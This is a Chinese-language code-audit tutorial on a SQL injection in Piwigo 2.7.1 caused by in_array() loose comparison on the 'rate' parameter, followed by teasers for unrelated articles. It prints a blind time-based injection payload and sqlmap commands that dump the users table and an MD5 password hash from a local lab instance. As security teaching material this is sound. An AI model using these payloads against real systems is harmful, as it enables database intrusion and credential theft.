php代码审计2 piwigo CMS in_array()函数漏洞

php代码审计2 piwigo CMS in_array()函数漏洞

一、目的

本次学习目的是了解in_array()函数和对项目piwigo中关于in_array()函数存在漏洞的一个审计并利用漏洞获得管理员帐号。

二、in_array函数学习

in_array() 函数搜索数组中是否存在指定的值。

in_array($search,$array,type)  return bool

其中第一个参数$search为待搜索的值,$array为被搜索的数组,第三个参数决定是否进行类型比较。

第三个类型默认为false,即不考虑类型是否相同。

$b = array(1,2,3,4);
//$c=1;
$c='1dsfa';
if(in_array($c,$b)){echo '<br>c在b中';
}else{echo '<br>c不在b中';
}
//c在b中

关键在于该函数第三个参数,如果为false或者不设置,那么它就不会比较类型,会自己将字符串转换数字,会构成漏洞。

三、 CMS piwigo审计实战

这里复盘红日安全对piwigo的代码审计

Piwigo 是一个开源的网络相册管理软件,专为组织、团队和个人设计。自2002年诞生以来,Piwigo 已经支持了超过22年的用户,并且一直在不断进化。Piwigo 的特点包括高容量照片分类、可持续性、开源性以及丰富的插件和主题支持。它可以帮助用户轻松地管理、组织和分享他们的照片。

本次实例分析,我们选取的是 piwigo2.7.1 版本。该版本由于SQL语句直接拼接 r a t e ∗ ∗ 变量,而 ∗ ∗ rate** 变量,而 ** rate变量,而rate 变量也仅是用 in_array() 函数简单处理,并未使用第三个参数进行严格匹配,最终导致sql注入漏洞发生。

3.1 安装piwigo

这里是使用phpstudy搭建环境,php版本是5.3.29,mysql版本是5.5.29

注意:如果是php版本是7以上会报错

安装piwigo,下载地址:https://download.csdn.net/download/m0_53073183/90308961

安装步骤:

  1. 将下载后的piwigo文件夹放到www文件夹下
  2. 创建一个数据库piwigo,用户名为piwigo,密码123456
  3. 访问localhost/piwigo,会自动跳转到安装页面,按照步骤提示输入信息,安装完成!

3.2 漏洞分析

下面我们来看看具体的漏洞位置。漏洞的入口文件在根目录下的picture.php 中,具体代码如下:

//picture.php
if (isset($_GET['action']))
{switch ($_GET['action']){case 'add_to_favorites' :{$query = '
INSERT INTO '.FAVORITES_TABLE.'(image_id,user_id)VALUES('.$page['image_id'].','.$user['id'].')
;';pwg_query($query);redirect($url_self);break;......中间省略.......case 'rate' :{include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');rate_picture($page['image_id'], $_POST['rate']);redirect($url_self);}

$_GET[‘action’]rate 的时候,这里直接使用post方式传递rate参数,并调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,我们跳转到functions_rate.inc.php,查看rate_picture 方法,发现其使用 in_array() 函数对 $rate 变量进行检测,判断 $rate 是否在 $conf[‘rate_items’] 中,**$conf[‘rate_items’]**的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);

//config_default.inc.php........// rate_items: available rates for a picture
$conf['rate_items'] = array(0,1,2,3,4,5);
//functions_rate.inc.php......function rate_picture($image_id, $rate)
{global $conf, $user;if (!isset($rate)or !$conf['rate']or !in_array($rate, $conf['rate_items'])){return false;}。。。中间省略$query = '    //下面sql语句中的RATE_TABLE,为数据库中的piwigo_rate表
INSERTINTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date)VALUES('.$user['id'].','.'\''.$anonymous_id.'\','.$image_id.','.$rate.',NOW())
;';pwg_query($query);

而漏洞便存在这个方法中,由于该方法中并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

这样就可以进行盲注了,如果上面的代码你看的比较乱的话,可以看下面简化后的代码:

<?php$conf['rate_items'] = array(0,1,2,3,4,5);
$rate = $_POST['rate'];
function rate_picture($image_id, $rate)
{global $conf;if (!isset($rate)or !$conf['rate']or !in_array($rate, $conf['rate_items'])) {return false;}//下面sql语句中的RATE_TABLE,为数据库中的piwigo_rate表$query = 'INSERT INTO '.RATE_TABLE.'  (user_id,anonymous_id,element_id,rate,date) VALUES('.$user['id'].',' .'\''.$anonymous_id.'\',' .$image_id.',' .$rate .',NOW());';pwg_query($query);
}

3.3 漏洞利用

接下来我们直接用sqlmap进行验证,我们需要通过get方式传入action=rate,通过post方式传入rate=1(rate值可以传入0,1,2,3,4,5),我们先随便在功能页面上传两张图片

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/c03c9145a4b4478ab72d10825be88b56.jpeg#pic_center

然后打开url

http://192.168.3.8/piwigo/picture.php?/2/category/2

可以看到查看图片页面

在这里插入图片描述

使用sqlmap构造payload:

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" --dbs --batch

由于是时间盲注,需要等待一段时间,得到数据库名piwigo
在这里插入图片描述
进一步获取用户名

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D piwigo --users --batch

得到user名为piwigo
在这里插入图片描述获取所有的表,因为获取时间过长,不再展示

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D 'piwigo' --columns --batch

获取piwigo_users表中的数据

sqlmap -u "http://192.168.3.8/piwigo/picture.php?/2/category/2&action=rate" --data "rate=1" -D 'piwigo' -T 'piwigo_users' --dump --batch

得到字段为id , username,password,mail_address
得到username为piwigo,密码为密文:e10adc3949ba59abbe56e057f20f883e
密文为md5加密
在这里插入图片描述
其他内容因为获取时间过长,不再一一测试!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/68279.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mybatis中<select>标签resultType跟resultMap 属性的作用和区别

select 标签的 resultType 和 resultMap 属性都用于指定查询结果应该如何被映射到 Java 对象上 resultType 属性用于指定 MyBatis 应该将每一行结果映射到的 Java 类型。 当查询结果是一个简单的数据类型&#xff08;如 int, String&#xff09;、一个 JavaBean&#xff08;P…

适用于 Windows 的 11 款最佳照片恢复软件

我们确信找到这篇文章本身就是一种解脱感&#xff0c;因为您删除的照片具有很大的情感价值&#xff0c;必须使用好的照片恢复软件将它们恢复回来。无论您的照片是否已从计算机、存储卡、硬盘驱动器、SD 卡还是数码相机中删除&#xff0c;您都可以在 Windows 10 上恢复已删除的照…

速通 AI+Web3 开发技能: 免费课程+前沿洞察

AI 正以前所未有的速度重塑各行各业&#xff0c;从生成式模型到大规模数据处理&#xff0c;AI 逐渐成为核心驱动力。与此同时&#xff0c;Web3 去中心化技术也在重新定义信任、交易和协作方式。当这两大前沿技术相遇&#xff0c;AI Web3 的融合已不再是理论&#xff0c;而是未…

LeetCode - Google 大模型校招10题 第1天 Attention 汇总 (3题)

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/145368666 GroupQueryAttention(分组查询注意力机制) 和 KVCache(键值缓存) 是大语言模型中的常见架构&#xff0c;GroupQueryAttention 是注意力…

Linux之Tcp粘包笔记

目录 一.网络传输四层模型 二.数据传输中数据包传输的两个限制概念 三.数据传输的中粘包问题 四.数据组装的原因 Nagle算法原理: 五.关闭Nagle优化处理粘包问题吗&#xff1f; 六.粘包处理方法 a.设置消息边界&#xff1a; b.定义消息长度&#xff1a; 七.UDP是否会出…

websocket实现

由于安卓资源管理器展示的路径不尽相同,各种软件保存文件的位置也不一定一样.对于普通用户上传文件时,查找文件可能是一个麻烦的事情.后来想到了一个办法,使用pc端进行辅助上传. 文章目录 实现思路1.0 实现定义web与客户端通信数据类型和数据格式web端websocket实现web端对客户…

什么是反向海淘?如何入局反向海淘?

什么是反向海淘&#xff1f; 简单来说&#xff0c;反向海淘就是海外消费者通过国内的电商平台或独立站买入中国商品&#xff0c;然后通过跨境物流送到海外。以前是我们在国内买国外的东西&#xff0c;现在反过来&#xff0c;老外开始疯狂种草咱们的国货啦&#xff01; 为什么反…

leetcode刷题记录(一百)——121. 买卖股票的最佳时机

&#xff08;一&#xff09;问题描述 121. 买卖股票的最佳时机 - 力扣&#xff08;LeetCode&#xff09;121. 买卖股票的最佳时机 - 给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。你只能选择 某一天 买入这只股票&#xff0c;并…

荔枝派LicheePi Zero V3S芯片图形系统开发详解[持续更新]

一、图形子系统 一般移动Linux设备实现图像显示的方案无非两种&#xff1a; 一种是使用OpenGL ES 另外一种就是使用FrameBuffer 使用OpenGL有个前提就是这个芯片是需要有GPU的&#xff0c;不然是没有意义的。 查看芯片系统框图&#xff0c;注意到V3S这款芯片是不支持GPU的…

AI刷题-最小化团建熟悉程度和

目录 问题描述 输入格式 输出格式 解题思路&#xff1a; 状态表示 状态转移 动态规划数组 预处理 实现&#xff1a; 1.初始化&#xff1a; 2.动态规划部分&#xff1a; &#xff08;1&#xff09;对于已分组状态的&#xff0c;跳过&#xff1a; &#xff08;2&…

使用Python和Qt6创建GUI应用程序---GUI的一个非常简短的历史

GUI的一个非常简短的历史 图形用户界面有着悠久而可敬的历史&#xff0c;可以追溯到20世纪60年代。斯坦福大学的NLS&#xff08;在线系统&#xff09;引入了鼠标和Windows概念于1968年首次公开展示。接下来是施乐PARC的Smalltalk系统GUI 1973&#xff0c;这是最现代的基础通用g…

DroneXtract:一款针对无人机的网络安全数字取证工具

关于DroneXtract DroneXtract是一款使用 Golang 开发的适用于DJI无人机的综合数字取证套件&#xff0c;该工具可用于分析无人机传感器值和遥测数据、可视化无人机飞行地图、审计威胁活动以及提取多种文件格式中的相关数据。 功能介绍 DroneXtract 具有四个用于无人机取证和审…

day7手机拍照装备

对焦对不上&#xff1a;1、光太暗&#xff1b;2、离太近&#xff1b;3、颜色太单一没有区分点 滤镜可以后期P 渐变灰滤镜&#xff1a;均衡色彩&#xff0c;暗的地方亮一些&#xff0c;亮的地方暗一些 中灰滤镜&#xff1a;减少光差 手机支架&#xff1a;最基本70cm即可 手…

【从零到一,C++项目实战】CineShare++(基于C++的视频点播系统)

&#x1f308;个人主页&#xff1a; 南桥几晴秋 &#x1f308;C专栏&#xff1a; 南桥谈C &#x1f308;C语言专栏&#xff1a; C语言学习系列 &#x1f308;Linux学习专栏&#xff1a; 南桥谈Linux &#x1f308;数据结构学习专栏&#xff1a; 数据结构杂谈 &#x1f308;数据…

RabbitMQ 架构分析

文章目录 前言一、RabbitMQ架构分析1、Broker2、Vhost3、Producer4、Messages5、Connections6、Channel7、Exchange7、Queue8、Consumer 二、消息路由机制1、Direct Exchange2、Topic Exchange3、Fanout Exchange4、Headers Exchange5、notice5.1、备用交换机&#xff08;Alter…

九、CSS工程化方案

一、PostCSS介绍 二、PostCSS插件的使用 项目安装 - npm install postcss-cli 全局安装 - npm install postcss-cli -g postcss-cli地址&#xff1a;GitHub - postcss/postcss-cli: CLI for postcss postcss地址&#xff1a;GitHub - postcss/postcss: Transforming styles…

SpringBoot开发(二)Spring Boot项目构建、Bootstrap基础知识

1. Spring Boot项目构建 1.1. 简介 基于官方网站https://start.spring.io进行项目的创建. 1.1.1. 简介 Spring Boot是基于Spring4框架开发的全新框架&#xff0c;设计目的是简化搭建及开发过程&#xff0c;并不是对Spring功能上的增强&#xff0c;而是提供了一种快速使用Spr…

GESP2024年3月认证C++六级( 第三部分编程题(2)好斗的牛)

参考程序&#xff08;暴力枚举&#xff09; #include <iostream> #include <vector> #include <algorithm> using namespace std; int N; vector<int> a, b; int ans 1e9; int main() {cin >> N;a.resize(N);b.resize(N);for (int i 0; i &l…

SpringBoot统一数据返回格式 统一异常处理

统一数据返回格式 & 统一异常处理 1. 统一数据返回格式1.1 快速入门1.2 存在问题1.3 案列代码修改1.4 优点 2. 统一异常处理 1. 统一数据返回格式 强制登录案例中,我们共做了两部分⼯作 通过Session来判断⽤⼾是否登录对后端返回数据进⾏封装,告知前端处理的结果 回顾 后…

Elasticsearch+kibana安装(简单易上手)

下载ES( Download Elasticsearch | Elastic ) 将ES安装包解压缩 解压后目录如下: 修改ES服务端口&#xff08;可以不修改&#xff09; 启动ES 记住这些内容 验证ES是否启动成功 下载kibana( Download Kibana Free | Get Started Now | Elastic ) 解压后的kibana目…